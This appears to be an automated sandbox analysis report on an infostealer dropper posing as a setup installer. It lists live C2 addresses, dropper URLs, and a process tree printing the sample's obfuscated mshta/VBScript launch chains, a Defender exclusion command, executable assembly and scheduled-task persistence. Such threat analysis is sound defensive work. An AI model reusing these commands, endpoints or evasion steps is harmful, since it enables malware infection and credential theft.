Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
13/10/2021, 18:35
211013-w8lxmaegdr 1013/10/2021, 12:38
211013-pvkdbadhdm 1013/10/2021, 05:30
211013-f7nrtsdfa3 1012/10/2021, 20:25
211012-y7qwasdbh4 1011/10/2021, 21:02
211011-zvywtaabdq 10Analysis
-
max time kernel
30s -
max time network
1800s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
13/10/2021, 12:38
General
-
Target
setup_x86_x64_install.exe
-
Size
3.4MB
-
MD5
26f28bf2dc2b6afc0dd99cb6ea3879b8
-
SHA1
9270b9f48e2d14cc2cbed61ee2e2389d5f69ce05
-
SHA256
5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa
-
SHA512
5a350373e87673c9ba39e5353bea1d7c1f2f7bc62a703ed13e892e69037008f3e2accadbdd0ec0bd976e54c68b79dfad6fb37517dd55448cac4d9d74ae8a037b
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://bitbucket.org/law228/law/downloads/cashout.exe
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://bitbucket.org/law228/law/downloads/monero-bandit.exe
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
redline
Botnet
media12
C2
91.121.67.60:2151
Extracted
Family
smokeloader
Version
2020
C2
http://gmpeople.com/upload/
http://mile48.com/upload/
http://lecanardstsornin.com/upload/
http://m3600.com/upload/
http://camasirx.com/upload/
rc4.i32
rc4.i32
Extracted
Family
redline
Botnet
she
C2
135.181.129.119:4805
Extracted
Family
vidar
Version
41.2
Botnet
933
C2
https://mas.to/@serg4325
Attributes
-
profile_id
933
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 7 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 36 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Loads dropped DLL 8 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 2 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 23 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 3 IoCs
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
Kills process with taskkill 6 IoCs
-
Modifies data under HKEY_USERS 5 IoCs
-
Modifies registry class 10 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
-
C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\dwirbrhC:\Users\Admin\AppData\Roaming\dwirbrh2⤵
-
-
C:\Users\Admin\AppData\Roaming\eiirbrhC:\Users\Admin\AppData\Roaming\eiirbrh2⤵
-
C:\Users\Admin\AppData\Roaming\eiirbrhC:\Users\Admin\AppData\Roaming\eiirbrh3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\eiirbrhC:\Users\Admin\AppData\Roaming\eiirbrh2⤵
-
C:\Users\Admin\AppData\Roaming\eiirbrhC:\Users\Admin\AppData\Roaming\eiirbrh3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\dwirbrhC:\Users\Admin\AppData\Roaming\dwirbrh2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon20762bc3f6.exeMon20762bc3f6.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon206b909958ed4.exeMon206b909958ed4.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 6606⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 6726⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 7126⤵
- Executes dropped EXE
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 8126⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 8566⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 8566⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 11246⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 13446⤵
- Loads dropped DLL
- Program crash
- Modifies registry class
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 13846⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 15366⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 15486⤵
- Executes dropped EXE
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon20927aab1e5.exeMon20927aab1e5.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon20927aab1e5.exeC:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon20927aab1e5.exe6⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon204014f13870f5e.exeMon204014f13870f5e.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon203f01ac7e6.exeMon203f01ac7e6.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon203f01ac7e6.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon203f01ac7e6.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon203f01ac7e6.exe" ) do taskkill /F -Im "%~NxU"7⤵
-
C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"10⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "11⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"11⤵
-
-
C:\Windows\SysWOW64\control.execontrol .\R6f7sE.I11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I12⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I13⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I14⤵
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Mon203f01ac7e6.exe"8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon206d48916f93c5.exeMon206d48916f93c5.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4592792.scr"C:\Users\Admin\AppData\Roaming\4592792.scr" /S6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Roaming\6712759.scr"C:\Users\Admin\AppData\Roaming\6712759.scr" /S6⤵
-
-
C:\Users\Admin\AppData\Roaming\3030688.scr"C:\Users\Admin\AppData\Roaming\3030688.scr" /S6⤵
-
-
C:\Users\Admin\AppData\Roaming\5141702.scr"C:\Users\Admin\AppData\Roaming\5141702.scr" /S6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon2083f8d8970a0b2d.exeMon2083f8d8970a0b2d.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon20d3b8b752.exeMon20d3b8b752.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\J_9m76Jn9H06Sp64eQZygrcD.exe"C:\Users\Admin\Pictures\Adobe Films\J_9m76Jn9H06Sp64eQZygrcD.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\XhnHstyiEV4QGFRjrzHWBm0k.exe"C:\Users\Admin\Pictures\Adobe Films\XhnHstyiEV4QGFRjrzHWBm0k.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\P6YkmaKp0ggZEDH6iXwn22Zj.exe"C:\Users\Admin\Pictures\Adobe Films\P6YkmaKp0ggZEDH6iXwn22Zj.exe"6⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\cutm3.exe"7⤵
-
C:\PROGRA~2\Company\NEWPRO~1\cutm3.exeC:\PROGRA~2\Company\NEWPRO~1\cutm3.exe8⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE"7⤵
-
C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXEC:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE8⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\inst3.exe"7⤵
-
C:\PROGRA~2\Company\NEWPRO~1\inst3.exeC:\PROGRA~2\Company\NEWPRO~1\inst3.exe8⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\PtYuG7i3Tu04_el4SaaWSeve.exe"C:\Users\Admin\Pictures\Adobe Films\PtYuG7i3Tu04_el4SaaWSeve.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\PtYuG7i3Tu04_el4SaaWSeve.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\PtYuG7i3Tu04_el4SaaWSeve.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\FdpkUdYlwXy2dgIowY8VxQ3D.exe"C:\Users\Admin\Pictures\Adobe Films\FdpkUdYlwXy2dgIowY8VxQ3D.exe"6⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c taskkill /im FdpkUdYlwXy2dgIowY8VxQ3D.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\FdpkUdYlwXy2dgIowY8VxQ3D.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c taskkill /im FdpkUdYlwXy2dgIowY8VxQ3D.exe /f & timeout /t 6 & del /f /q C:\Users\Admin\Pictures\Adobe Films\FdpkUdYlwXy2dgIowY8VxQ3D.exe & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im FdpkUdYlwXy2dgIowY8VxQ3D.exe /f9⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ehO_qlTtmBR6e28BGcq79_2Q.exe"C:\Users\Admin\Pictures\Adobe Films\ehO_qlTtmBR6e28BGcq79_2Q.exe"6⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~3\FHWQWV~1.EXE"7⤵
-
C:\PROGRA~3\FHWQWV~1.EXEC:\PROGRA~3\FHWQWV~1.EXE8⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\PROGRA~3\FHWQWV~1.EXE"9⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c taskkill /im ehO_qlTtmBR6e28BGcq79_2Q.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\ehO_qlTtmBR6e28BGcq79_2Q.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c taskkill /im ehO_qlTtmBR6e28BGcq79_2Q.exe /f & timeout /t 6 & del /f /q C:\Users\Admin\Pictures\Adobe Films\ehO_qlTtmBR6e28BGcq79_2Q.exe & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im ehO_qlTtmBR6e28BGcq79_2Q.exe /f9⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\mwKikcq2xl69TAgDMhO3qm75.exe"C:\Users\Admin\Pictures\Adobe Films\mwKikcq2xl69TAgDMhO3qm75.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\rE6qfWjmZ04VIU1xLyMd020N.exe"C:\Users\Admin\Pictures\Adobe Films\rE6qfWjmZ04VIU1xLyMd020N.exe"6⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\Pictures\Adobe Films\IT8L2QGXCIvH7XRk93Y_kt6r.exe"C:\Users\Admin\Pictures\Adobe Films\IT8L2QGXCIvH7XRk93Y_kt6r.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe"C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe"j3AxZox3PyXkbg6egbGYqViQ.exe"7⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe"j3AxZox3PyXkbg6egbGYqViQ.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe"C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe"C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\SKdz2h9K_pYJroDaREieHTyS.exe"C:\Users\Admin\Pictures\Adobe Films\SKdz2h9K_pYJroDaREieHTyS.exe"6⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\DOCUME~1\FDZF1C~1.EXE"7⤵
-
C:\Users\Admin\DOCUME~1\FDZF1C~1.EXEC:\Users\Admin\DOCUME~1\FDZF1C~1.EXE8⤵
- Executes dropped EXE
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\RSC8ES~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\RSC8ES~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\RSC8ES~1.EXE10⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\GPJLRJ~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\GPJLRJ~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\GPJLRJ~1.EXE10⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\IEKKI9~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\IEKKI9~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\IEKKI9~1.EXE10⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXE"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXE"" ) do taskkill -iM ""%~NXI"" -f " , 0 , tRue ) )11⤵
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\System32\mshta.exe vbscRIpt: CLOsE ( CREAteoBJect ( WScRiPT.sHeLL ). RUn ( C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXE"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\D2XAIW~1.EXE"" ) do taskkill -iM ""%~NXI"" -f , 0 , tRue ) )12⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\XRTDQO~1.EXE" /mixtwo9⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\NLDG4B~1.EXE"9⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\B9LDOZ~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\B9LDOZ~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\B9LDOZ~1.EXE10⤵
-
C:\Users\Admin\AppData\Roaming\3153774.scr"C:\Users\Admin\AppData\Roaming\3153774.scr" /S11⤵
-
-
C:\Users\Admin\AppData\Roaming\3302505.scr"C:\Users\Admin\AppData\Roaming\3302505.scr" /S11⤵
-
-
C:\Users\Admin\AppData\Roaming\1305480.scr"C:\Users\Admin\AppData\Roaming\1305480.scr" /S11⤵
-
-
C:\Users\Admin\AppData\Roaming\2256263.scr"C:\Users\Admin\AppData\Roaming\2256263.scr" /S11⤵
-
-
C:\Users\Admin\AppData\Roaming\4237078.scr"C:\Users\Admin\AppData\Roaming\4237078.scr" /S11⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\M7_IAX~1.EXE"9⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\Q8SZCW~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\Q8SZCW~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\Q8SZCW~1.EXE10⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\OG9A4H~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\OG9A4H~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\OG9A4H~1.EXE10⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\LLSMGF~1.EXE" silent9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\LLSMGF~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\LLSMGF~1.EXE silent10⤵
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
